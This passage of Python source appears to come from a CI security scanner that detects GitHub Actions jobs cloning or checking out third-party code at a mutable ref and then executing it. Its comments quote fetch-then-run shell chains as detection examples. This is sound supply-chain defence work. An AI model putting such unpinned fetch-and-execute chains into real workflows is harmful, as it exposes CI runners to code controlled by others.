- # Shell-only value options. `bash -o pipefail script.sh` and its kin name a
- # shell OPTION as the value of `-o` (and `-O` for a bash `shopt` name), so the
- # path is the NEXT word — read flatly, `pipefail` was taken for the script and
- # the real execution silently missed. Scoped to the shells because python's
- # `-O` is a boolean (`python3 -O tool.py` runs `tool.py`), so a global entry
- # would eat the script there. `sh`/dash carries `-o` but not `-O`.
- _SHELL_VALUE_OPTS = {
- "bash": {"-o", "-O"}, "zsh": {"-o", "-O"}, "ksh": {"-o", "-O"},
- "sh": {"-o"},
- }
- # `-m` names a MODULE, which is not a path at all.
- _MODULE_FLAGS = {"-m"}
- def _interpreter_executed_path(cmd: str, rest: list[str]) -> str | None:
- """The FILE this interpreter runs, or None when it runs inline text.
- Only leading flags are inspected: the scan stops at the first operand,
- because everything after it belongs to the program being run, not to the
- interpreter.
- """
- letters = _INLINE_LETTER_FLAGS.get(cmd, set())
- value_opts = _INTERPRETER_VALUE_OPTS | _SHELL_VALUE_OPTS.get(cmd, set())
- i = 0
- while i < len(rest):
- tok = rest[i]
- if tok == "-":
- return None # the program comes from stdin
- if tok.startswith("<<"):
- return None # …from a here-doc
- if not tok.startswith("-"):
- return tok # the first operand IS the file
- low = tok.lower()
- if low in _INLINE_LONG_FLAGS or low.startswith("--eval="):
- return None
- if tok in _MODULE_FLAGS:
- return None # a module name is not a path
- if tok in value_opts:
- i += 2 # the value is not the program
- continue
- if tok.startswith("-") and not tok.startswith("--") and len(tok) > 1:
- if letters & set(tok[1:]):
- return None # `-c`, `-lc`, `-lane`, `-pe`, …
- i += 1
- return None
- def _job_shell_commands(
- text: str, job_range: tuple[int, int] | None,
- gap: Callable[[str], None] | None = None,
- ) -> list[tuple[int, str, str, bool]]:
- """(line, verbatim line, joined command, starts-a-new-step) for the job.
- Restricted to `run:` scalar content, like every other shell reader here, so
- a step `name:` or a YAML comment is never read as a command. The fourth
- element marks the first command of a STEP, which is where the working
- directory must be forgotten: `cd` does not survive from one step to the
- next, and carrying it across would connect a fetch to an execution that
- never ran in that directory. Step identity comes from where each `run:`
- scalar begins (`_run_scalar_starts`), never from line adjacency — adjacency
- gets it wrong in both directions, joining two inline steps and splitting
- one block scalar at a blank line.
- A HEREDOC body is dropped: `cat <<'EOF' > install.sh` writes text to a
- file, and the text a step writes is not a command the step runs. Reading it
- as shell would let a documented example be reported as a live chain.
- """
- lines = text.splitlines()
- shell_lines = _run_scalar_line_numbers(text)
- step_starts = _run_scalar_starts(text)
- inline_values = _inline_run_values(text)
- start, end = job_range if job_range else (1, len(lines))
- out: list[tuple[int, str, str, bool]] = []
- heredoc: str | None = None
- for line_no, raw, cmd in _shell_commands(lines):
- if line_no < start or line_no > min(end, len(lines)):
- continue
- if line_no not in shell_lines:
- continue
- if line_no in step_starts:
- if heredoc is not None and gap is not None:
- # The body really was open at the end of the step, so its
- # commands were correctly not read — but a step that stopped
- # being scanned must not read as a step with nothing in it.
- gap(f"a here-doc opened with `{heredoc}` was never closed "
- f"before the step ended, so the rest of that step was NOT "
- f"scanned for a mutable fetch executed out of")
- heredoc = None # a body cannot outlive its own step
- if heredoc is not None:
- if raw.strip() == heredoc:
- heredoc = None
- continue
- # An INLINE scalar's shell starts after the `run:` key, and the raw
- # line carries that key: without stripping it the first token of
- # `- run: git clone …` is the list dash, and every one-line step in
- # the file reads as an unparsable command.
- key = _RUN_KEY_LINE_RE.match(cmd)
- if key and key.group(2) and not _BLOCK_SCALAR_RE.match(key.group(2).strip()):
- # Prefer the parser's own value for a single-line scalar, so YAML
- # quoting (`run: "git clone … && bash x.sh"`) is stripped before the
- # shell tokenizer sees it. Multi-line scalars are not in the map and
- # keep the raw line.
- cmd = inline_values.get(line_no, key.group(2))
- out.append((line_no, raw, cmd, line_no in step_starts))
- opened = _heredoc_delimiter(cmd)
- if opened:
- heredoc = opened
- if heredoc is not None and gap is not None:
- gap(f"a here-doc opened with `{heredoc}` was never closed before the "
- f"job ended, so the rest of that step was NOT scanned for a "
- f"mutable fetch executed out of")
- return out
- # A step's own `working-directory:`, keyed by the line its `run:` shell begins
- # on — the same key `_run_scalar_starts` produces, so the two agree by
- # construction.
- _STEP_ITEM_RE = re.compile(r"^(\s*)-\s")
- _WORKING_DIR_RE = re.compile(r"^\s*working-directory\s*:\s*(.+?)\s*$")
- @dataclass(frozen=True)
- class _StepMark:
- """One step, located by the YAML parser rather than by a line regex."""
- job: str
- run_line: int | None # 1-based line the `run:` VALUE starts on
- uses_line: int | None # 1-based line the `uses:` VALUE starts on
- working_directory: str | None
- uses: str | None # the action the step runs, verbatim
- start_line: int # 1-based first line of the step itself
- end_line: int # 1-based last line of the step
- run_value: str | None = None # the `run:` scalar, as the PARSER read it
- run_end_line: int | None = None # 1-based line the `run:` VALUE ends on
- def _step_marks(text: str) -> list[_StepMark] | None:
- """Every step in the document with source lines, or None if it won't compose.
- Read from the composed node tree — what the parser itself saw. The defects
- this replaces all came from scraping raw lines with regexes while the
- parsed document was already in hand:
- * `working-directory: . # repo root` took the YAML comment into the
- value, rendering a destination of `` `. # repo root/tools` ``;
- * a `working-directory:` written INSIDE a heredoc body — text the step
- GENERATES, not configuration of the step — was read as the step's own,
- so the finding stated a destination lifted from generated content;
- * checkout steps were matched to lines by ORDINAL, so the words
- `uses: actions/checkout@v4` inside a heredoc shifted every later step.
- A value the parser hands us cannot disagree with the document. A regex over
- the same bytes can, and did.
- """
- try:
- root = yaml.compose(text)
- except yaml.YAMLError:
- return None
- if not isinstance(root, yaml.MappingNode):
- return None
- def _child(node: Any, key: str) -> Any:
- if not isinstance(node, yaml.MappingNode):
- return None
- for k, v in node.value:
- if getattr(k, "value", None) == key:
- return v
- return None
- jobs = _child(root, "jobs")
- if not isinstance(jobs, yaml.MappingNode):
- return None
- out: list[_StepMark] = []
- for job_key, job_node in jobs.value:
- for step in _iter_step_nodes(_child(job_node, "steps")):
- run = _child(step, "run")
- uses = _child(step, "uses")
- wd = _child(step, "working-directory")
- out.append(_StepMark(
- job=str(getattr(job_key, "value", "")),
- run_line=(run.start_mark.line + 1) if run is not None else None,
- uses_line=(uses.start_mark.line + 1) if uses is not None else None,
- working_directory=(str(wd.value)
- if wd is not None and hasattr(wd, "value")
- else None),
- uses=(str(uses.value)
- if uses is not None and hasattr(uses, "value") else None),
- start_line=step.start_mark.line + 1,
- end_line=step.end_mark.line + 1,
- run_value=(str(run.value)
- if run is not None and hasattr(run, "value")
- else None),
- run_end_line=(run.end_mark.line + 1) if run is not None else None,
- ))
- return out
- def _step_working_directories(text: str) -> dict[int, str]:
- """{run-scalar start line: the step's `working-directory:`}.
- Keys are the lines `_run_scalar_starts` reports, because that is what
- `_job_shell_commands` uses to mark a step boundary. VALUES come from the
- composed document (`_step_marks`), so a YAML comment, a quoted value, or a
- `working-directory:` written inside a heredoc body cannot reach them. Each
- parsed step's `run:` line is matched to the first shell start at or after
- it — the same step, by construction.
- """
- marks = _step_marks(text)
- if marks is None:
- return {}
- starts = sorted(_run_scalar_starts(text))
- out: dict[int, str] = {}
- for mark in marks:
- if mark.run_line is None or mark.working_directory is None:
- continue
- # Bounded to the step's OWN source span. Matching the first shell start
- # at or after the `run:` line searched the whole file, so a flow-style
- # `- {run: …, working-directory: vendor/x}` — which the line regex
- # cannot see as a shell start at all — donated its directory to the
- # next block-scalar step, in a different JOB, fabricating a destination
- # there and moving a real chain out of the fetched tree here.
- start_line = next(
- (s for s in starts
- if mark.run_line <= s <= mark.end_line), None)
- if start_line is not None:
- out[start_line] = mark.working_directory.strip()
- return out
- def _inline_run_values(text: str) -> dict[int, str]:
- """{run-scalar start line: the parser's own value} for SINGLE-LINE `run:`.
- A single-line `run:` value comes from the composed document, not the raw
- line, so YAML quoting never reaches the shell tokenizer. `run: "git clone …
- && bash x.sh"` was handed to `shlex` with its double quotes intact and came
- back as ONE quoted word — the clone and the execution both vanished, a
- silent false clean. Block scalars (`run: |`) and plain multi-line scalars
- keep their line-by-line reading; only a value the parser saw begin and end
- on one line is substituted, so nothing multi-line is disturbed.
- """
- marks = _step_marks(text)
- if marks is None:
- return {}
- starts = sorted(_run_scalar_starts(text))
- out: dict[int, str] = {}
- for mark in marks:
- if (mark.run_line is None or mark.run_value is None
- or mark.run_end_line != mark.run_line):
- continue
- start_line = next(
- (s for s in starts if mark.run_line <= s <= mark.end_line), None)
- if start_line is not None:
- out[start_line] = mark.run_value
- return out
- def _default_working_directory(doc: dict, job: Any) -> str:
- """`defaults.run.working-directory` for this job, else the workflow's.
- GitHub resolves the JOB's over the workflow's, and a step's own
- `working-directory:` over both. Precedence is decided HERE, before any
- knowability test: treating an unreadable job default as absent fell
- through to the workflow's value and placed the step in a directory it
- demonstrably did not run in.
- A default holding an expression gets the same opaque treatment a step's
- does — `defaults: {run: {working-directory: apps/${{ matrix.app }}}}` is a
- mainstream monorepo shape, and guessing the workspace root for it is the
- defect class this scanner may not commit.
- """
- def _of(node: Any) -> str | None:
- if not isinstance(node, dict):
- return None
- run = (node.get("defaults") or {}).get("run") \
- if isinstance(node.get("defaults"), dict) else None
- value = run.get("working-directory") if isinstance(run, dict) else None
- return str(value) if isinstance(value, (str, int, float)) else None
- written = _of(job)
- if written is None:
- written = _of(doc)
- if not written:
- return "."
- if _EXPRESSION_TOKEN_RE.search(written):
- return _opaque_dir(written)
- return _resolve_path(".", written)
- def _opaque_dir(written: str) -> str:
- """A directory whose real path the YAML does not contain.
- Keyed by the WRITTEN TEXT, not by the line it appeared on. Keying by line
- made two steps under the same `apps/${{ matrix.app }}` two different
- unknown places, so a fetch in one and an execution in the other — the more
- idiomatic spelling — produced no finding and no gap, while the single-step
- form fired. The same expression is the same directory.
- """
- # Normalized INSIDE the braces too: GitHub ignores the spacing there, so
- # `apps/${{ matrix.app }}` and `apps/${{matrix.app}}` are one directory.
- # Keying on the raw text made them two unknown places and lost the chain
- # between them with no finding and no gap.
- canonical = _EXPRESSION_TOKEN_RE.sub(
- lambda m: "${{ " + " ".join(m.group(0)[3:-2].split()) + " }}", written)
- return _OPAQUE_DIR + " ".join(canonical.split())
- _CHECKOUT_USES_RE = re.compile(r"^\s*-?\s*uses\s*:\s*['\"]?actions/checkout[@'\"]")
- def _checkout_fetches(
- job: Any, text: str, job_range: tuple[int, int] | None, file_path: Path,
- gap: Callable[[str], None] | None = None,
- ) -> list[_RemoteFetch]:
- """`actions/checkout` steps that fetch ANOTHER repository at a mutable ref.
- The YAML spelling of the same trust model, and the common one: most
- workflows pull a second repository with `actions/checkout`, not with
- `git clone`. At a branch or tag the tree that lands is whatever the other
- side serves when the job runs, exactly as for the shell arm — and the shell
- arm could not see it, because it reads `run:` scalars only.
- A checkout with no `repository:` is your own code. So is one naming your
- own repository. Both are the overwhelmingly common case and neither is this
- vector.
- """
- steps = _job_steps(job)
- if not steps:
- return []
- lines = text.splitlines()
- start, end = job_range if job_range else (1, len(lines))
- # Lines from the PARSER, not from a regex counting `uses:` occurrences in
- # order: the words `uses: actions/checkout@v4` inside a heredoc body shifted
- # every later step's line, so the evidence quoted a shell-script line, and a
- # flow-style step matched nothing and fell back to the job header.
- # Only CHECKOUT steps, and their own `uses:` lines. Collecting every step
- # with a `uses:` key while the index below counted only checkouts shifted
- # the mapping by one for every `actions/setup-*` step ahead of the
- # third-party checkout — nearly every real workflow — so the evidence
- # quoted the wrong step and, when the shift moved the checkout EARLIER than
- # a run step, invented a chain whose execution precedes its fetch.
- marks = _step_marks(text) or []
- at_lines = [m.uses_line for m in marks
- if m.uses_line is not None and start <= m.uses_line <= end
- and (m.uses or "").startswith("actions/checkout")]
- out: list[_RemoteFetch] = []
- index = -1
- for step in steps:
- uses = step.get("uses")
- if not (isinstance(uses, str) and uses.startswith("actions/checkout")):
- continue
- index += 1
- # The line this checkout sits on, resolved once so every gap sentence
- # can name it: notes dedupe on their reason text, and two steps with
- # the same unresolvable expression collapsed into one entry.
- mark_line = at_lines[index] if index < len(at_lines) else start
- with_block = step.get("with")
- if not isinstance(with_block, dict):
- continue
- repository = with_block.get("repository")
- if not isinstance(repository, str) or not repository.strip():
- continue # your own code
- # The self-repository test comes FIRST. Running the expression gap
- # ahead of it recorded a checkout of your own repo — the very spelling
- # the clone arm was taught to recognise — as "whether it fetches a
- # third party was NOT established", into the channel that raises the
- # "not a clean result" banner. Two real repositories opened their
- # reports with that warning over nothing but self-checkouts.
- if _is_self_clone(repository, file_path) or \
- _is_self_clone(f"github.com/{repository.strip()}", file_path):
- continue
- if _EXPRESSION_TOKEN_RE.search(repository):
- # Anything else computed at run time — the fork-PR spelling above
- # all — really is unknowable, and the finding would name a third
- # party the scan never established.
- if gap is not None:
- gap(f"an `actions/checkout` on line {mark_line} takes its "
- f"`repository:` from `{repository.strip()}`, computed at "
- f"run time, so whether it fetches a third party was NOT "
- f"established")
- continue
- ref = with_block.get("ref")
- ref = str(ref).strip() if isinstance(ref, (str, int)) else None
- if ref and _FULL_SHA_RE.match(ref):
- if gap is not None:
- gap(f"an `actions/checkout` of `{repository}` on line "
- f"{mark_line} is pinned to a full commit id, so it is "
- f"deliberately not reported",
- kind=_KIND_SUPPRESSED)
- continue # immutable, as pinned
- path = with_block.get("path")
- path = str(path).strip() if isinstance(path, (str, int)) else None
- if path and _EXPRESSION_TOKEN_RE.search(path):
- if gap is not None:
- gap(f"an `actions/checkout` of `{repository}` on line "
- f"{mark_line} uses a `path:` computed at run time, so what "
- f"executes out of it was NOT checked")
- continue
- if ref and _EXPRESSION_TOKEN_RE.search(ref):
- # A ref chosen at run time is not knowably mutable OR pinned.
- if gap is not None:
- gap(f"an `actions/checkout` of `{repository}` on line "
- f"{mark_line} uses a `ref:` computed at run time, so "
- f"whether it is pinned was NOT established")
- continue
- line = mark_line
- out.append(_RemoteFetch(
- line=line,
- raw=lines[line - 1] if line - 1 < len(lines) else "",
- dest=_resolve_path(".", path) if path else ".",
- ref=ref,
- pos=-1, # a YAML step: ordered by line, below
- source=repository.strip(),
- ))
- return out
- def _mutable_fetch_executions(
- text: str, job_range: tuple[int, int] | None,
- gap: Callable[[str], None] | None = None,
- file_path: Path | None = None,
- base_cwd: str = ".",
- extra_fetches: list[_RemoteFetch] | None = None,
- ) -> list[tuple[_RemoteFetch, int, str]]:
- """Every (fetch, execution line, executed path) pair visible in one job.
- Both halves have to be visible in the SAME job — jobs get their own runner
- and their own working tree, so a clone in one is not the tree another runs
- from. Within the job the pairing is positional: the execution must come
- after the fetch that put the code there.
- A pin suppresses a destination only when it lands BETWEEN the fetch and the
- execution. Earlier than the fetch it pinned the tree as it stood rather
- than the code the fetch brought in; later than the execution the code had
- already run unpinned. Both used to suppress.
- """
- fetches: dict[str, _RemoteFetch] = {
- f.dest: f for f in reversed(extra_fetches or [])}
- # Clones a later re-clone into the same destination overwrote (last-wins).
- # They stay as fall-back candidates: the LAST unpinned fetch is the tree
- # that ran only when a command actually ran from it — a trailing re-clone
- # that nothing executes must not bury an earlier clone that WAS executed.
- shadowed: dict[str, list[_RemoteFetch]] = {}
- pending_fetch_head: dict[str, _RemoteFetch] = {}
- # destination -> the EARLIEST position a full-40-hex pin was applied to it.
- # Position matters: pinning is a claim about the code that ran, and a pin
- # applied after an execution pinned nothing that had already executed.
- pinned: dict[str, list[int]] = {}
- # `git remote add <name> <url>` — a third-party fetch spelled in two steps.
- # Without this, two characters of indirection made the whole arm blind.
- named_remotes: dict[str, str] = {}
- # (position, line, resolved path, path as written)
- executions: list[tuple[int, int, str, str]] = []
- # Executions whose path begins with a shell variable this scan cannot
- # resolve. Held aside, not resolved: their real location is unknowable, so
- # pairing one against a fetch would be a guess. Surfaced as a coverage note
- # (below) when the job actually has a fetch to run out of.
- unresolved_execs: list[tuple[int, str]] = []
- # (position, line) for EVERY command in the job. A checkout-step fetch has
- # no position of its own, so its suppression window has to open at the
- # first command after it — any command. Deriving that from `executions`
- # instead opened the window at the first EXECUTION, which is the reported
- # hit itself, leaving an interval nothing could fall inside.
- command_lines: list[tuple[int, int]] = []
- cwd = base_cwd
- skip_step = False
- pos = 0
- step_dirs = _step_working_directories(text)
- for line_no, _raw, command, new_step in _job_shell_commands(
- text, job_range, gap):
- if new_step:
- # `working-directory:` on the step wins over the job's and the
- # workflow's `defaults.run.working-directory`; with none of them
- # set, a step starts at the workspace root. Getting this wrong is
- # not a missed finding but a FALSE one: a clone into `vendor/tools`
- # and a `tools/build.py` that is the repository's own file were
- # reported as a chain between them.
- step_dir = step_dirs.get(line_no)
- skip_step = False
- if step_dir is not None and _EXPRESSION_TOKEN_RE.search(step_dir):
- # `working-directory: apps/${{ matrix.app }}` is extremely
- # common and its value is not knowable here. Skipping the step
- # would lose every chain inside it; pretending to know it would
- # invent chains across it. So it becomes an OPAQUE root, keyed
- # by the expression TEXT: two steps under the same expression
- # are the same place, and two different expressions never are.
- cwd = _opaque_dir(step_dir)
- elif step_dir:
- # A step's `working-directory:` is resolved against the
- # WORKSPACE and REPLACES the job default rather than nesting
- # inside it. Composing them put a step under `app` into
- # `app/app` and lost real chains through the job's own default.
- cwd = _resolve_path(".", step_dir)
- else:
- cwd = base_cwd
- if skip_step:
- continue
- # A substitution is collapsed BEFORE the command is split, because the
- # split breaks on `|` and would otherwise cut `$(ls a | head)` in half
- # and read each piece as a command of its own.
- #
- # But `$( … )` RUNS its body, so the body is then read as commands in
- # its own right, ahead of the command that captures its output.
- # Collapsing alone lost them: `OUT=$(tools/setup.sh)` after a mutable
- # clone produced no finding, no gap and no suppression, while the
- # backtick spelling of the same construct still recorded one.
- scope_cwds: dict[tuple[int, ...], str] = {(): cwd}
- def _cwd_for_scope(scope: tuple[int, ...]) -> str:
- if scope not in scope_cwds:
- scope_cwds[scope] = _cwd_for_scope(scope[:-1])
- return scope_cwds[scope]
- for segment, scope in _commands_in_execution_order(command):
- pos += 1
- if not segment.strip():
- continue
- segment_cwd = _cwd_for_scope(scope)
- command_lines.append((pos, line_no))
- tokens = _strip_command_prefix(_shell_tokens(segment))
- if not tokens:
- # `shlex` refused it — an unbalanced quote, most often, and
- # ordinary in real workflows (`awk '{print $1}'` inside a
- # quoted string, and so on). It contributes nothing, which is
- # correct: it is only a COVERAGE GAP when the text it could not
- # read could have held one of the two halves this detector
- # pairs. Reporting every unreadable command instead produced
- # roughly eight notes per repository about `jq` filters.
- if _CHAIN_RELEVANT_RE.search(segment):
- if gap is not None:
- gap(f"a command on line {line_no} could not be parsed "
- f"as shell and mentions a fetch or an execution, "
- f"so it was NOT checked — review it by hand")
- if not scope and _UNPARSED_CD_RE.search(segment):
- # A `cd` nobody could read leaves the working directory
- # stale, so every path resolved after it in this step
- # would be wrong. That half-read step is abandoned.
- skip_step = True
- break
- continue
- if tokens[0] == "cd" and len(tokens) > 1 and not tokens[1].startswith("-"):
- scope_cwds[scope] = _resolve_path(segment_cwd, tokens[1])
- if not scope:
- cwd = scope_cwds[scope]
- continue
- if tokens[0] == "git":
- sub, gdir, args = _git_subcommand(tokens)
- base = (_resolve_path(segment_cwd, gdir)
- if gdir else segment_cwd)
- if sub == "remote" and args[:1] == ["add"]:
- positionals = [a for a in args[1:] if not a.startswith("-")]
- if (len(positionals) >= 2
- and _is_remote_url(positionals[1])
- and not (file_path is not None
- and _is_self_clone(positionals[1],
- file_path))):
- # The two-step spelling of a fetch has to make the same
- # judgment the one-step spelling makes. Without the
- # self-clone test the identical URL was silent through
- # `git clone` and a finding through `git remote add`.
- named_remotes[positionals[0]] = positionals[1]
- continue
- if sub == "clone":
- url, dest_written, ref = _parse_clone(args)
- if file_path is not None and _is_self_clone(url or "",
- file_path):
- continue
- dest_written = _clone_destination(url or "", dest_written)
- if not dest_written:
- # Nothing is claimed without a visible destination, but
- # the job then reads as a job with no fetch in it.
- if gap is not None:
- gap(f"a `git clone` on line {line_no} has no "
- f"visible destination directory, so whether "
- f"anything executes out of it was NOT checked")
- continue
- dest = _resolve_path(base, dest_written)
- if ref and _FULL_SHA_RE.match(ref):
- pinned.setdefault(dest, []).append(pos)
- if gap is not None:
- gap(f"a clone into `{_as_written(dest)}` on line {line_no} is "
- f"pinned to a full commit id, so it is "
- f"deliberately not reported",
- kind=_KIND_SUPPRESSED)
- continue
- # LAST unpinned fetch into a destination wins — it is the
- # tree that actually ran. `setdefault` kept the FIRST, so a
- # clone, a pin of it, then a re-clone of the same directory
- # read as pinned (the pin sat between the stale first clone
- # and the execution) and the job went silent while it ran
- # the unpinned re-clone. The `pinned` list still holds every
- # pin, so a genuine pin of the surviving fetch suppresses.
- prev = fetches.get(dest)
- if prev is not None:
- shadowed.setdefault(dest, []).append(prev)
- fetches[dest] = _RemoteFetch(line_no, _raw, dest, ref, pos)
- continue
- if sub == "fetch":
- positionals = [a for a in args if not a.startswith("-")]
- if not positionals:
- continue
- if not (_is_remote_url(positionals[0])
- or positionals[0] in named_remotes):
- continue
- ref = positionals[1] if len(positionals) > 1 else None
- if ref and _FULL_SHA_RE.match(ref):
- pinned.setdefault(base, []).append(pos)
- continue
- # A fetch alone changes no file in the tree — it becomes
- # executable code only once something checks FETCH_HEAD
- # out, so it is held until that happens.
- pending_fetch_head.setdefault(
- base, _RemoteFetch(line_no, _raw, base, ref, pos))
- continue
- if sub in ("checkout", "reset", "switch", "merge", "rebase"):
- if any(_FULL_SHA_RE.match(a) for a in args):
- pinned.setdefault(base, []).append(pos)
- if any("FETCH_HEAD" in a for a in args):
- held = pending_fetch_head.get(base)
- if held is not None:
- fetches.setdefault(base, held)
- continue
- continue
- path = _executed_path(tokens)
- if path:
- if _leading_unresolved_var(path):
- unresolved_execs.append((line_no, path))
- continue
- executions.append((pos, line_no,
- _resolve_path(segment_cwd, path), path))
- # A path led by an unresolvable shell variable is a coverage gap ONLY where
- # there is a fetched tree it might have run out of — otherwise every
- # `$CARGO_HOME/bin/tool` in an ordinary job would raise a note about a chain
- # that cannot exist. Whether the fetch is visible is known only now the
- # whole job has been read.
- if fetches and gap is not None:
- for line_no, path in unresolved_execs:
- gap(f"an execution on line {line_no} runs a path beginning with a "
- f"shell variable (`{_as_written(path)}`) whose value is not "
- f"visible in this YAML, so whether it runs out of a fetched "
- f"tree was NOT checked — review it by hand")
- # Steps that may run at the same time (`_StepTiming`): an execution racing
- # the fetch counts as after it, and a pin racing either half pins nothing
- # knowably in between.
- spans = _step_spans(text)
- pos_line = dict(command_lines)
- def _racing(a: int, b: int) -> bool:
- return _lines_concurrent(spans, a, b)
- pairs: list[tuple[_RemoteFetch, int, str]] = []
- for dest, fetch in fetches.items():
- # The last unpinned fetch into a destination is the tree that ran — but
- # only when a command actually ran from it. A trailing re-clone nothing
- # executes leaves the last fetch with no hit; the earlier clone a
- # command DID run from is still live, so the shadowed fetches stay as
- # fall-back candidates, tried latest-first. A candidate that is
- # pin-suppressed also falls through: an earlier, unpinned tree may have
- # been executed before the pin landed.
- candidates = [fetch, *reversed(shadowed.get(dest, ()))]
- fired: tuple[_RemoteFetch, int, str] | None = None
- suppressed_line: int | None = None
- for cand in candidates:
- hit = next(
- (
- (at, line, written)
- for at, line, resolved, written in executions
- # A shell fetch is ordered by position in the command stream
- # (both halves can share a line); a checkout step has no
- # position there, so it is ordered by line.
- if ((line > cand.line if cand.pos < 0 else at > cand.pos)
- or _racing(cand.line, line))
- and _under(dest, resolved)
- ),
- None,
- )
- if hit is None:
- continue
- # ANY pin between the fetch and the execution suppresses — not just
- # the first one seen. Keeping only the earliest hid the pin a
- # repository actually applied when an older one landed on a tree it
- # then discarded, and told it that it executes unpinned remote code.
- #
- # A checkout-step fetch has no position in the command stream, so
- # its window opens just before the first shell command AFTER its
- # step — ANY command. Two ways to get this wrong, and this code has
- # had both: opening at -1 let every pin in the job count, including
- # one applied to a tree the checkout then replaced; opening at the
- # first EXECUTION-shaped command left the window empty whenever that
- # execution was the reported hit, so the fix recipe's own shape
- # (checkout, pin, run) could never suppress and an unrelated command
- # sitting in between decided the verdict.
- window_start = cand.pos
- if window_start < 0:
- window_start = next(
- (at for at, line in command_lines if line > cand.line),
- hit[0] + 1) - 1
- pin_at = next((p for p in pinned.get(dest, ())
- if window_start < p < hit[0]
- and not _pin_races(pos_line.get(p),
- (hit[1], cand.line), _racing,
- bool(spans))),
- None)
- if pin_at is not None:
- suppressed_line = cand.line
- continue
- fired = (cand, hit[1], hit[2])
- break
- if fired is not None:
- pairs.append(fired)
- elif suppressed_line is not None and gap is not None:
- # Pinned before it ran: the fix this entry recommends, applied.
- gap(f"a fetch into `{_as_written(dest)}` on line {suppressed_line} was pinned to "
- f"a full commit id before anything ran from it, so it is "
- f"deliberately not reported",
- kind=_KIND_SUPPRESSED)
- return sorted(pairs, key=lambda p: p[0].line)
- # --- P14.24, third shape: a GitHub CLI extension installed at a mutable ref ---
- #
- # `gh extension install OWNER/REPO` downloads the extension — a release binary,
- # or the repository's own script — at the LATEST release, or at the ref named by
- # `--pin`. A release tag or a branch is whatever that repository's owner points
- # it at when the job runs, so it is the same trust model as a `git clone` at a
- # branch, and it follows the same rule: a finding needs the install AND a later
- # run of the extension in the same job (`gh <name> …`, or `gh extension exec
- # <name>`). Only a full 40-hex `--pin` is immutable, and a local install
- # (`gh extension install .`) is the repository's own code.
- _GH_EXTENSION_GROUPS = frozenset({"extension", "extensions", "ext"})
- _GH_EXTENSION_VALUE_OPTS = frozenset({"--pin"})
- # `gh extension install` refuses names that shadow one of gh's built-in
- # commands. Treating a later `gh pr` as an invocation of `OWNER/gh-pr` invents
- # an execution which the CLI itself makes impossible.
- _GH_BUILTIN_COMMANDS = frozenset({
- "alias", "api", "attestation", "auth", "browse", "cache", "codespace",
- "completion", "config", "extension", "gist", "gpg-key", "help", "issue",
- "label", "org", "pr", "project", "release", "repo", "ruleset", "run",
- "search", "secret", "ssh-key", "status", "variable", "version", "workflow",
- })
- @dataclass(frozen=True)
- class _GhExtensionInstall:
- line: int
- raw: str
- repo: str # as written: OWNER/REPO, HOST/OWNER/REPO or a URL
- name: str | None # the command it installs; None when not knowable
- ref: str | None # None = the latest release (no `--pin`)
- pos: int
- def _gh_extension_command(tokens: list[str]) -> tuple[str, list[str]] | None:
- """(subcommand, args) for `gh extension|ext <sub> …`, else None."""
- if len(tokens) >= 3 and tokens[0] == "gh" and tokens[1] in _GH_EXTENSION_GROUPS:
- return tokens[2], tokens[3:]
- return None
- def _parse_gh_extension_install(
- args: list[str],
- ) -> tuple[str | None, str | None]:
- """(target, `--pin` value) from `gh extension install`'s arguments."""
- target: str | None = None
- pin: str | None = None
- i = 0
- while i < len(args):
- tok = args[i]
- if tok.startswith("--pin="):
- pin = tok.split("=", 1)[1]
- elif tok in _GH_EXTENSION_VALUE_OPTS:
- if i + 1 < len(args):
- pin = args[i + 1]
- i += 1
- elif not tok.startswith("-") and target is None:
- target = tok
- i += 1
- return target, pin
- def _gh_extension_is_local(target: str) -> bool:
- return target == "." or target.startswith(("./", "../", "/", "~"))
- def _gh_extension_name(target: str) -> str | None:
- """The command an extension repository installs: its name minus `gh-`."""
- if "$" in target or "\x00" in target:
- return None
- base = target.rstrip("/").rsplit("/", 1)[-1]
- if base.endswith(".git"):
- base = base[: -len(".git")]
- if base.startswith("gh-"):
- base = base[len("gh-"):]
- return base or None
- def _inert_flags(text: str) -> list[bool]:
- """Per character of `text`: is it printed text the shell never expands?
- True inside single quotes, and for the character a backslash escapes
- outside them: a backslash before `$(` or a backtick makes it literal text,
- both unquoted and inside double quotes. `_shell_scan`'s quoting rules do
- not say WHICH quote a data character sits in, nor whether a backslash made
- it literal."""
- flags: list[bool] = []
- quote: str | None = None
- i, n = 0, len(text)
- while i < n:
- ch = text[i]
- if quote != "'" and ch == "\\" and i + 1 < n:
- flags += [False, True]
- i += 2
- continue
- if quote:
- flags.append(quote == "'")
- if ch == quote:
- quote = None
- else:
- if ch in "'\"":
- quote = ch
- flags.append(ch == "'")
- i += 1
- return flags
- # A `$( … )` substitution, or a backtick one (its body may escape a backtick).
- _ANY_SUBSTITUTION_RE = re.compile(
- _COMMAND_SUBSTITUTION_RE.pattern + r"|`(?:[^`\\]|\\.)*`", re.S)
- def _commands_in_execution_order(
- command: str,
- ) -> list[tuple[str, tuple[int, ...]]]:
- """Each command of `command`, preceded by the commands its `$( … )` and
- backtick substitutions run, in the order the shell runs them.
- `install && out=$(gh <name>)` installs first and then runs: reading every
- substitution body ahead of the whole line put the run before the install.
- A substitution inside single quotes, or one whose `$` or backtick is
- escaped with a backslash, is printed text, never run, so its body is not a
- command at all. The scope tuple keeps each substitution's shell state
- separate from its parent while preserving their shared filesystem.
- """
- def _ordered(
- text: str,
- scope: tuple[int, ...],
- ) -> list[tuple[str, tuple[int, ...]]]:
- inert = _inert_flags(text)
- # (body, runs?) per collapsed substitution, left to right. A `$( … )`
- # is collapsed even when inert, so a `|` inside it never splits the
- # line; an inert backtick is plain text and stays as written.
- subs: list[tuple[str, bool]] = []
- pieces: list[str] = []
- at = 0
- while True:
- match = _ANY_SUBSTITUTION_RE.search(text, at)
- if match is None:
- break
- runs = not inert[match.start()]
- backtick = match.group(0).startswith("`")
- if backtick and not runs:
- pieces.append(text[at:match.start() + 1])
- at = match.start() + 1
- continue
- pieces.append(text[at:match.start()] + "$SUBST")
- subs.append((match.group(0)[1:-1] if backtick
- else match.group(0)[2:-1], runs))
- at = match.end()
- pieces.append(text[at:])
- collapsed = "".join(pieces)
- pending = iter(subs)
- out: list[tuple[str, tuple[int, ...]]] = []
- child = 0
- for segment in _install_command_segments(collapsed):
- for _ in range(segment.count("$SUBST")):
- sub = next(pending, None)
- if sub is not None and sub[1]:
- child += 1
- out.extend(_ordered(sub[0], scope + (child,)))
- out.append((segment, scope))
- return out
- return _ordered(command, ())
- def _gh_extension_executions(
- text: str, job_range: tuple[int, int] | None,
- gap: Callable[..., None] | None = None,
- file_path: Path | None = None,
